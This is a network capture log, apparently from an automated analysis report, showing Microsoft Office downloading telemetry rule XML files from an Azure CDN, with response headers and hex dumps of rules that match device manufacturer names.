2024-11-19 18:15:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.4	49871	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:04 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:04 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: c6b0c23f-801e-0048-738c-3af3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181504Z-185f5d8b95cjbkr4hC1NYCeu2400000008tg000000015mgq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:04 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.4	49873	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:04 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:04 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 65766a7e-a01e-0002-4f8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181504Z-r1d97b99577ckpmjhC1TEBrzs000000007ng00000000tur6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:04 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	49877	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:05 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:05 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: ac667451-e01e-003c-3e8c-3ac70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181505Z-1777c6cb7549j9hhhC1TEBzmcc00000008b000000000hrvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:05 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.4	49875	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:05 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: fdab78a3-101e-005a-1d8c-3a882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181505Z-185f5d8b95cmd8vfhC1NYC0g4000000004z000000000gkbt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.4	49874	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:05 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:05 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65766a9d-a01e-0002-6d8c-3a5074000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181505Z-185f5d8b95c5lcmhhC1NYCsnsw000000094000000000rh24 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:05 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.4	49876	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:05 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:05 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:05 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 538c974f-101e-0028-648c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181505Z-r1d97b99577hc74hhC1TEBvbns00000007f000000000q61k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:05 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.4	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:05 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:05 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:05 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: f14fa7ac-201e-000c-4a8c-3a79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181505Z-185f5d8b95crwqd8hC1NYCps6800000008y00000000141r7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:05 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.4	49879	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:05 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:06 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:06 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 70a27ff5-201e-0051-4e8c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181506Z-185f5d8b95ctl8xlhC1NYCn94g000000093g00000000sh1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 18:15:06 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.4	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:06 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:06 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: feb02638-401e-0067-7b8c-3a09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181506Z-185f5d8b95c9mqtvhC1NYCghtc000000090g000000014902 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:06 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.4	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:06 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:06 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: e83eb970-001e-0046-777e-3ada4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181506Z-185f5d8b95c96jn4hC1NYCbgp8000000092000000000p1y5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:06 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.4	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:06 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 18:15:06 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 18:15:06 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: bfe6d614-201e-006e-7a8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T181506Z-185f5d8b95c95vpshC1NYC759c000000095g000000004qwx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 18:15:06 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.4	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 18:15:06 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
